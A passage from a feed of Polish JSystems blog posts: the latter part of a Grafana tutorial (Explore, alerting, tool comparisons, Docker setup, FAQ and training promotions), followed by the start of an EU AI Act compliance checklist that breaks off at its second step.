&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_15_cadvisor.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmvukooydvac90hdu7xb2.png" alt="Grafana - dashboard cAdvisor: zużycie CPU, pamięci i sieci w rozbiciu na kontenery Docker" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Zaimportowany dashboard do monitoringu kontenerów. Każdy kontener to osobna linia.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explore, czyli zapytania na szybko
&lt;/h2&gt;

&lt;p&gt;Nie zawsze chcemy od razu budować dashboard. Czasem trzeba tylko szybko coś sprawdzić. Do tego służy widok &lt;strong&gt;Explore&lt;/strong&gt;. Wpisujemy jedno zapytanie, uruchamiamy je i od razu dostajemy wykres. To idealne miejsce do nauki języka zapytań i do doraźnego przeglądania danych podczas awarii.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_09_explore.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faxg9gblaitvijgxnr5r4.png" alt="Grafana - widok Explore z zapytaniem PromQL i wykresem wyniku" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Widok Explore. Jedno zapytanie, natychmiastowy wykres, bez budowania całego dashboardu.&lt;/p&gt;

&lt;h2&gt;
  
  
  Alerty w Grafanie, czyli monitoring, który sam Cię zawiadamia (tutorial)
&lt;/h2&gt;

&lt;p&gt;Same wykresy to nie wszystko. Nikt nie będzie wpatrywał się w ekran przez całą dobę. Dlatego Grafana ma wbudowane &lt;strong&gt;alertowanie&lt;/strong&gt;: sama pilnuje warunków i wysyła powiadomienie, gdy coś jest nie tak. Zobaczmy, jak ustawić prosty alert "obciążenie CPU powyżej 90 procent". Regułę tworzymy w menu &lt;em&gt;Alerting&lt;/em&gt;, przyciskiem &lt;em&gt;New alert rule&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_14_alerting.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnbz33w39s4uj0hl3r54d.png" alt="Grafana - formularz tworzenia reguły alertu: nazwa, zapytanie, warunek i folder" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Formularz nowej reguły alertu. Przechodzimy przez kolejne ponumerowane sekcje.&lt;/p&gt;

&lt;p&gt;Formularz prowadzi nas przez kolejne, ponumerowane sekcje:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Nazwa reguły.&lt;/strong&gt; Wpisujemy coś czytelnego, na przykład "Wysokie obciążenie CPU".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zapytanie i warunek.&lt;/strong&gt; Wybieramy źródło (Prometheus) i zapytanie liczące obciążenie CPU, a niżej ustawiamy warunek, na przykład &lt;em&gt;WHEN QUERY IS ABOVE 90&lt;/em&gt;. To znaczy: uruchom alert, gdy wynik przekroczy 90.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ocena reguły (evaluation).&lt;/strong&gt; Wskazujemy folder i grupę, jak często Grafana ma sprawdzać warunek (na przykład co minutę) oraz jak długo musi być spełniony, zanim alert się odpali (na przykład przez 5 minut). Dzięki temu pojedynczy chwilowy skok nie budzi wszystkich w nocy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Etykiety i powiadomienia.&lt;/strong&gt; Dodajemy etykiety i wskazujemy, gdzie ma trafić powiadomienie. Kanały (e-mail, Slack, Microsoft Teams) definiuje się w sekcji &lt;em&gt;Contact points&lt;/em&gt;, a reguły ich doboru w &lt;em&gt;Notification policies&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zapis.&lt;/strong&gt; Zapisujemy regułę i od tej chwili Grafana pracuje za nas: sprawdza warunek w tle i sama wyśle wiadomość, gdy obciążenie przekroczy próg.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To jest właśnie sedno monitoringu. Dashboard pokazuje stan na życzenie, a alert sam zawiadamia, gdy dzieje się coś złego, nawet gdy nikt nie patrzy na ekran.&lt;/p&gt;

&lt;h2&gt;
  
  
  Grafana a inne narzędzia (Prometheus, &lt;a href="https://jsystems.pl/blog/show_post/grafana_vs_kibana_kiedy_uzywac_ktorego" rel="noopener noreferrer"&gt;Kibana&lt;/a&gt;, Zabbix, Datadog)
&lt;/h2&gt;

&lt;p&gt;Grafana nie jest jedynym narzędziem tego typu, ale zajmuje wyjątkowe miejsce, bo jest niezależna od źródła danych i darmowa. Oto jak wypada na tle innych popularnych rozwiązań:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Narzędzie&lt;/th&gt;
&lt;th&gt;Czym się wyróżnia w porównaniu z Grafaną&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Prometheus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zbiera i przechowuje metryki, ale sam rysuje je bardzo skromnie. Grafana jest jego naturalnym uzupełnieniem do wizualizacji.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kibana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mocna przy logach, ale przywiązana do ekosystemu Elastic. Grafana łączy wiele źródeł naraz.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zabbix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kompletny system monitoringu z własnym zbieraniem danych. Często łączy się go z Grafaną dla ładniejszych wykresów.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Datadog / New Relic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Płatne platformy w chmurze, wygodne, ale kosztowne. Grafanę uruchomisz za darmo na własnym serwerze.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Grafana a Prometheus
&lt;/h3&gt;

&lt;p&gt;To para, którą najłatwiej pomylić, a różnica jest prosta. &lt;strong&gt;Prometheus zbiera i przechowuje dane, Grafana je pokazuje.&lt;/strong&gt; Prometheus ma własny, bardzo skromny interfejs, więc do codziennego oglądania metryk i tak sięga się po Grafanę. Prawie zawsze działają razem: Prometheus w roli źródła, Grafana w roli deski rozdzielczej.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grafana a Kibana
&lt;/h3&gt;

&lt;p&gt;Kibana i Grafana wyrosły z tego samego korzenia, ale poszły w różne strony. &lt;strong&gt;Kibana jest najlepsza do logów w Elasticsearch&lt;/strong&gt; i jest z tym ekosystemem mocno związana. &lt;strong&gt;Grafana jest uniwersalna&lt;/strong&gt;: w jednym dashboardzie połączysz metryki z Prometheusa, logi z Lokiego i dane z bazy SQL. W monitoringu metryk to Grafana wygrała rynek.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak zainstalować Grafanę i ile to kosztuje
&lt;/h2&gt;

&lt;p&gt;Grafanę uruchomisz na kilka sposobów. Najszybszy to Docker. Jedno polecenie i po chwili Grafana działa pod adresem &lt;code&gt;http://localhost:3000&lt;/code&gt; (login i hasło: admin):&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker run -d -p 3000:3000 --name grafana grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;W realnym monitoringu Grafana rzadko działa sama. Zwykle idzie w parze z Prometheusem i eksporterami. Właśnie taki komplet postawiliśmy na potrzeby tego artykułu, opisany w jednym pliku &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;services:
  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
    ports: ["9090:9090"]

  node-exporter:
    image: prom/node-exporter:latest
    ports: ["9100:9100"]

  grafana:
    image: grafana/grafana:latest
    ports: ["3000:3000"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jeśli nie chcesz niczego instalować, jest jeszcze &lt;strong&gt;Grafana Cloud&lt;/strong&gt;, czyli hostowana wersja w chmurze z darmowym planem na start (zakładasz konto na &lt;a href="https://grafana.com/products/cloud/" rel="noopener noreferrer"&gt;grafana.com/products/cloud&lt;/a&gt;). A jak z kosztami? W skrócie:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Grafana open source&lt;/strong&gt; jest w pełni darmowa, także do zastosowań komercyjnych. Uruchamiasz ją na własnym serwerze bez opłat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grafana Cloud&lt;/strong&gt; ma darmowy plan dla małych projektów, a większe plany rozliczane są za ilość danych.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grafana Enterprise&lt;/strong&gt; to płatna wersja z dodatkowymi funkcjami i wsparciem, kierowana do dużych organizacji.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Bezpieczeństwo, użytkownicy i uprawnienia
&lt;/h2&gt;

&lt;p&gt;W firmie Grafany zwykle używa wiele osób, więc od początku warto zadbać o dostęp. Grafana ma wbudowane konta użytkowników i trzy podstawowe role: &lt;strong&gt;Viewer&lt;/strong&gt; (tylko podgląd), &lt;strong&gt;Editor&lt;/strong&gt; (tworzenie i edycja dashboardów) oraz &lt;strong&gt;Admin&lt;/strong&gt; (pełna kontrola). Użytkowników można grupować w zespoły i przydzielać im dostęp do konkretnych folderów z dashboardami. Da się też podłączyć logowanie firmowe, na przykład przez Google, GitHub czy LDAP, żeby nie zakładać osobnych kont. To ważne, bo dashboardy często pokazują wrażliwe dane o infrastrukturze.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dobre praktyki dla początkujących
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zacznij od gotowych dashboardów.&lt;/strong&gt; Zaimportuj Node Exporter Full (numer 1860), zobacz, jak jest zbudowany, i ucz się na jego panelach.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nazywaj panele po ludzku.&lt;/strong&gt; "Zużycie CPU" mówi więcej niż surowa nazwa metryki. Dashboard ma być czytelny także dla kogoś, kto widzi go pierwszy raz.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Używaj zmiennych.&lt;/strong&gt; Dzięki nim jeden dashboard obsłuży wiele serwerów, wybieranych z listy rozwijanej u góry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ustaw progi i kolory.&lt;/strong&gt; Zielony, żółty i czerwony sprawiają, że problem widać, zanim zdążysz przeczytać liczbę.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trzymaj konfigurację jako kod.&lt;/strong&gt; Źródła danych i dashboardy da się zapisać w plikach (provisioning) i wersjonować w repozytorium, tak jak resztę infrastruktury.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Najczęstsze problemy i jak je rozwiązać
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Panel pokazuje "No data".&lt;/strong&gt; Najczęściej źródło danych nie ma jeszcze metryk albo zapytanie dotyczy nazwy, która nie istnieje. Sprawdź w Explore, czy metryka w ogóle jest zbierana.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Błąd "Bad Gateway" przy teście źródła.&lt;/strong&gt; Grafana nie widzi adresu źródła. Upewnij się, że podałeś poprawny adres i port oraz że oba kontenery są w tej samej sieci.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wykresy przesunięte w czasie.&lt;/strong&gt; To zwykle kwestia strefy czasowej. Ustaw ją w opcjach dashboardu lub w profilu użytkownika.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pusty wykres mimo danych.&lt;/strong&gt; Sprawdź zakres czasu u góry. Bardzo często okazuje się, że po prostu patrzymy na złe minuty.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Słownik pojęć Grafany
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pojęcie&lt;/th&gt;
&lt;th&gt;Co oznacza&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Źródło danych&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;System, z którego Grafana pobiera dane (np. Prometheus, baza SQL, Loki).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Panel&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pojedynczy kafelek z wykresem, licznikiem lub tabelą.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Strona z zestawem paneli opisujących jeden temat.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Metryka&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Liczbowy pomiar zapisywany w czasie, na przykład zużycie CPU.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PromQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Język zapytań Prometheusa, którym mówimy, co narysować.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eksporter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Program udostępniający metryki systemu pod adresem /metrics.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Próg (threshold)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wartość graniczna, po której panel zmienia kolor (zielony, żółty, czerwony).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Alert&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reguła, która wysyła powiadomienie po spełnieniu warunku.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Observability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Obserwowalność: metryki, logi i ślady razem dają pełny obraz systemu.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Podsumowanie
&lt;/h2&gt;

&lt;p&gt;Grafana to darmowe, otwartoźródłowe narzędzie, które zamienia rozproszone dane z serwerów, aplikacji i baz w czytelne, żyjące na bieżąco dashboardy, a do tego samo pilnuje warunków i wysyła alerty. Sama nie przechowuje danych, tylko łączy się ze źródłami takimi jak Prometheus, odpytuje je i pokazuje wyniki. W odróżnieniu od Power BI patrzy na dane na żywo, a nie na raporty historyczne, i to właśnie czyni ją królową monitoringu. Największe atuty to elastyczność (jeden dashboard łączy wiele źródeł naraz), ogromna społeczność z tysiącami gotowych dashboardów oraz to, że zaczniesz z nią za darmo w kilka minut.&lt;/p&gt;

&lt;p&gt;Najlepszy sposób nauki to praktyka: postaw Grafanę i Prometheus przez Docker Compose, zaimportuj dashboard 1860 i spróbuj zbudować własny panel, dokładnie tak, jak pokazaliśmy w tym artykule. A jeśli chcesz przejść przez to z trenerem praktykiem i nauczyć się Grafany oraz całego monitoringu szybciej i w dobrze poukładanej kolejności, mamy dla Ciebie dwa szkolenia.&lt;/p&gt;

&lt;h2&gt;
  
  
  Najczęściej zadawane pytania (FAQ)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Do czego służy Grafana?
&lt;/h3&gt;

&lt;p&gt;Grafana służy do monitorowania i wizualizacji danych w czasie rzeczywistym. Najczęściej pokazuje kondycję serwerów, kontenerów, aplikacji i baz danych, ale sprawdza się też w analityce biznesowej i w internecie rzeczy (IoT). Do tego pilnuje ustawionych progów i wysyła alerty, gdy coś działa nie tak.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy Grafana jest darmowa?
&lt;/h3&gt;

&lt;p&gt;Tak. Grafana w wersji open source jest bezpłatna, także do zastosowań komercyjnych, i uruchomisz ją na własnym serwerze bez opłat. Płatne są dodatkowe usługi: hostowana Grafana Cloud (ma jednak darmowy plan) oraz Grafana Enterprise z funkcjami dla dużych firm i wsparciem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy Grafana przechowuje dane?
&lt;/h3&gt;

&lt;p&gt;Nie. Grafana nie jest bazą danych. Łączy się ze źródłami danych, na przykład z Prometheusem, InfluxDB, Lokim czy PostgreSQL, odpytuje je na bieżąco i rysuje wykresy. Dane fizycznie leżą w tych źródłach, a Grafana odpowiada tylko za wizualizację i alertowanie.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czym różni się Grafana od Power BI?
&lt;/h3&gt;

&lt;p&gt;Grafana służy do monitoringu i danych na żywo (metryki, szeregi czasowe), jest darmowa i uruchamiana na własnym serwerze, a jej mocną stroną są alerty. Power BI to komercyjne narzędzie Microsoftu do raportowania i analityki biznesowej, nastawione na dane historyczne i modelowanie w języku DAX. W skrócie: Grafana odpowiada na pytanie, czy system działa teraz, a Power BI, jak szła sprzedaż w kwartale.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czym różni się Grafana od Prometheusa?
&lt;/h3&gt;

&lt;p&gt;Prometheus zbiera i przechowuje metryki w bazie szeregów czasowych. Grafana ich nie zbiera, tylko pokazuje. W praktyce często pracują razem: Prometheus jest źródłem danych, a Grafana rysuje z nich dashboardy i wysyła alerty.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czym różni się Grafana od Kibany?
&lt;/h3&gt;

&lt;p&gt;Kibana jest przywiązana do ekosystemu Elastic i najlepiej sprawdza się przy logach w Elasticsearch. Grafana jest niezależna od źródła i potrafi w jednym dashboardzie połączyć dane z wielu różnych systemów naraz. Dlatego w monitoringu metryk to Grafana jest standardem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grafana a Zabbix, czym się różnią?
&lt;/h3&gt;

&lt;p&gt;Zabbix to kompletny system monitoringu, który sam zbiera dane i sam je pokazuje. Grafana danych nie zbiera, tylko je wizualizuje. Często łączy się je razem: Zabbix zbiera metryki, a Grafana rysuje z nich ładniejsze i bardziej elastyczne dashboardy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Jak zainstalować Grafanę?
&lt;/h3&gt;

&lt;p&gt;Najszybciej przez Dockera poleceniem &lt;code&gt;docker run -d -p 3000:3000 grafana/grafana&lt;/code&gt;. Grafana ruszy na porcie 3000, logujesz się jako admin z hasłem admin. Można ją też zainstalować z pakietu systemowego na Linuksie albo skorzystać z hostowanej Grafana Cloud bez instalacji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Skąd wziąć gotowe dashboardy do Grafany?
&lt;/h3&gt;

&lt;p&gt;Ze strony grafana.com, z katalogu dashboardów społeczności. Każdy dashboard ma numer, który wystarczy podać w opcji importu. Popularne przykłady to Node Exporter Full (numer 1860) do monitoringu serwera oraz gotowe dashboardy dla kontenerów, baz danych i Kubernetesa.&lt;/p&gt;

&lt;p&gt;Chcesz nauczyć się Grafany od praktyka?&lt;/p&gt;

&lt;p&gt;Poniżej dwa szkolenia JSystems. Pierwsze skupia się w całości na Grafanie, drugie to szeroki monitoring i observability z Grafaną, Prometheusem, Lokim i Zabbixem. Oba mają &lt;strong&gt;termin gwarantowany&lt;/strong&gt;, czyli odbywają się na pewno.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;grafana.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=banner_grafana" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8xqsz19d97k6ct5vf6oo.jpg" alt="Szkolenie Grafana - monitoring, wizualizacja danych i alerting w JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;grafana.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=link_grafana" rel="noopener noreferrer"&gt;Szkolenie Grafana - monitoring, wizualizacja danych i alerting -&amp;gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=banner_observability" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb8r2qgxodo8x8c1p1wvf.jpg" alt="Szkolenie Monitoring i Observability w praktyce: Grafana, Prometheus, Loki i Zabbix w JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=link_observability" rel="noopener noreferrer"&gt;Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki i Zabbix -&amp;gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post445&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>grafana</category>
      <category>monitoring</category>
      <category>devops</category>
      <category>observability</category>
    </item>
    <item>
      <title>AI Act 2026 - co muszą zrobić polskie firmy, żeby być zgodne z prawem</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 07:04:05 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/ai-act-2026-co-musza-zrobic-polskie-firmy-zeby-byc-zgodne-z-prawem-2249</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/ai-act-2026-co-musza-zrobic-polskie-firmy-zeby-byc-zgodne-z-prawem-2249</guid>
      <description>&lt;p&gt;Z bloga JSystems - konkretna checklista obowiązków wynikających z AI Act, zamiast ogólników o "regulacji sztucznej inteligencji".&lt;/p&gt;




&lt;h1&gt;
  
  
  AI ACT 2026 - co muszą zrobić polskie firmy żeby być zgodne z prawem
&lt;/h1&gt;

&lt;p&gt;AI Act - rozporządzenie Unii Europejskiej regulujące sztuczną inteligencję - jest już obowiązującym prawem. Pierwsze terminy compliance minęły w lutym 2025, kolejne etapy wdrożenia trwają. Firmy które korzystają z systemów AI lub je tworzą muszą działać. Kary za nieprzestrzeganie sięgają &lt;strong&gt;35 milionów euro lub 7% globalnego obrotu&lt;/strong&gt;. W tym artykule wyjaśniamy co konkretnie musisz zrobić jako polska firma.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI Act - podstawowe fakty
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Wejście w życie: 1 sierpnia 2024&lt;/li&gt;
&lt;li&gt;Zakaz systemów AI wysokiego ryzyka (biometria, social scoring): obowiązuje od 2 lutego 2025&lt;/li&gt;
&lt;li&gt;Obowiązki dla systemów AI ogólnego przeznaczenia (GPT, &lt;a href="https://jsystems.pl/blog/show_post/claude_code_kompletny_przewodnik_dla_programistow/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, Gemini): od 2 sierpnia 2025&lt;/li&gt;
&lt;li&gt;Pełne stosowanie AI Act: od 2 sierpnia 2026&lt;/li&gt;
&lt;li&gt;Zasięg: obowiązuje każdą firmę w UE i każdą firmę spoza UE której systemy AI działają na rynku UE&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Klasyfikacja ryzyka - co Cię dotyczy?
&lt;/h2&gt;

&lt;p&gt;AI Act dzieli systemy AI na 4 kategorie ryzyka:&lt;/p&gt;

&lt;h3&gt;
  
  
  Ryzyko niedopuszczalne (ZAKAZ)
&lt;/h3&gt;

&lt;p&gt;Systemy w tej kategorii są zakazane bezwzględnie od lutego 2025:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Social scoring obywateli przez rządy&lt;/li&gt;
&lt;li&gt;Manipulacja behawioralna ludzi bez ich wiedzy&lt;/li&gt;
&lt;li&gt;Masowy nadzór biometryczny w przestrzeni publicznej (z wyjątkami dla organów ścigania)&lt;/li&gt;
&lt;li&gt;Identyfikacja emocji w miejscach pracy i szkołach&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Wysokie ryzyko (ŚCISŁE WYMOGI)
&lt;/h3&gt;

&lt;p&gt;Jeśli Twoja firma używa AI w tych obszarach - masz obowiązki rejestracji, dokumentacji i audytu:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rekrutacja i ocena pracowników przez AI&lt;/li&gt;
&lt;li&gt;Scoring kredytowy i ocena zdolności finansowej&lt;/li&gt;
&lt;li&gt;AI w systemach ochrony zdrowia&lt;/li&gt;
&lt;li&gt;AI wspomagający decyzje sądowe i administracyjne&lt;/li&gt;
&lt;li&gt;Systemy biometryczne (rozpoznawanie twarzy)&lt;/li&gt;
&lt;li&gt;AI zarządzający infrastrukturą krytyczną&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ograniczone ryzyko (OBOWIĄZKI TRANSPARENTNOŚCI)
&lt;/h3&gt;

&lt;p&gt;Chatboty, deepfake, content generowany przez AI - musisz informować użytkowników że rozmawiają z AI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Minimalne ryzyko
&lt;/h3&gt;

&lt;p&gt;Filtry spamu, rekomendacje produktów, AI w grach - brak specjalnych obowiązków, ale dobrowolne stosowanie kodeksów postępowania.&lt;/p&gt;

&lt;h2&gt;
  
  
  Co konkretnie musi zrobić Twoja firma?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do kiedy trzeba to zrobić?&lt;/strong&gt; Najpóźniej do &lt;strong&gt;2 sierpnia 2026&lt;/strong&gt; - wtedy AI Act zaczyna być stosowany w pełni (to deadline na Kroki 1–3 dla systemów wysokiego ryzyka). Ale część obowiązuje &lt;strong&gt;już teraz&lt;/strong&gt;: zakaz systemów niedopuszczalnego ryzyka oraz obowiązek kompetencji AI i przeszkolenia pracowników (Krok 5) — od &lt;strong&gt;2 lutego 2025&lt;/strong&gt;; obowiązki transparentności dla chatbotów i AI generatywnej (Krok 4) — od &lt;strong&gt;2 sierpnia 2025&lt;/strong&gt;. Inwentaryzację i klasyfikację (Kroki 1–2) zacznij od razu — to fundament pod resztę.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 1: Inwentaryzacja systemów AI
&lt;/h3&gt;

&lt;p&gt;Zidentyfikuj wszystkie systemy AI które używasz lub tworzysz. Nie tylko własne - to też narzędzia zewnętrzne (ChatGPT Enterprise, Copilot for Microsoft 365, systemy HR). Stwórz rejestr z opisem każdego systemu i jego zastosowania.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 2: Klasyfikacja ryzyka
&lt;/h3&gt;

